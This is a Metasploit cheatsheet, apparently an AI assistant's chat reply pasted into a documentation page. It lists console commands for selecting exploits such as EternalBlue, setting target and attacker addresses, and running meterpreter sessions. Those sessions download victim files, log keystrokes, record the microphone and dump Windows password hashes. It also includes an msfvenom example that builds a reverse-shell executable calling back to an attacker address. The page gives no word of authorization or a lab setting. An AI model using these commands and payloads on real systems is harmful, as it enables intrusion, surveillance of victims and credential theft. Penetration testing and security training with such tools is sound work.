Metasploit Commands

Absolutely! Here's a Metasploit Cheatsheet to help you quickly reference common commands and workflows. It’s divided into key sections:


🧠 Metasploit Cheatsheet

🔧 Starting & Stopping

msfconsole           # Start Metasploit Framework Console
msfupdate            # Update Metasploit

🔍 Search & Use Modules

search <keyword>                     # Search for modules (e.g., search smb)
use <path/to/module>                # Use a specific module (e.g., use exploit/windows/smb/ms17_010_eternalblue)
info                                # Show info about the selected module

⚙️ Setting Options

show options                        # Show required/available options for the module
set RHOST <target_ip>              # Set the target IP address
set RPORT <port>                   # Set the remote port (default varies per exploit)
set LHOST <your_ip>                # Set local (attacker) IP address
set LPORT <port>                   # Set local (attacker) port
set PAYLOAD <payload_name>        # Set a specific payload

🚀 Running the Exploit

exploit                            # Run the exploit
run                                # Run the current module (some modules use this instead)

🧬 Payloads

show payloads                      # List all compatible payloads
set PAYLOAD windows/meterpreter/reverse_tcp    # Set a payload

🖥 Meterpreter Session Basics

sessions                          # List open sessions
sessions -i <ID>                  # Interact with a session
background                        # Background the current session
exit                              # Exit meterpreter session

💻 Meterpreter Commands

sysinfo                           # Get system info
getuid                            # Get user ID
shell                             # Drop into system shell
download <file>                   # Download file from victim
upload <file>                     # Upload file to victim
screenshot                        # Take a screenshot
keyscan_start                     # Start keylogger
keyscan_dump                      # Dump keystrokes
record_mic                        # Record microphone audio

🧪 Post-Exploitation

run post/windows/gather/hashdump       # Dump Windows hashes
run post/multi/recon/local_exploit_suggester  # Suggest exploits

🧰 Auxiliary Modules

use auxiliary/scanner/portscan/tcp     # Example: TCP port scanner
run                                     # Run the auxiliary module

📦 Exploit/Payload Generation (with msfvenom)

msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <output_file>
# Example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe

Would you like a printable PDF version or a version formatted for terminal viewing?

Last updated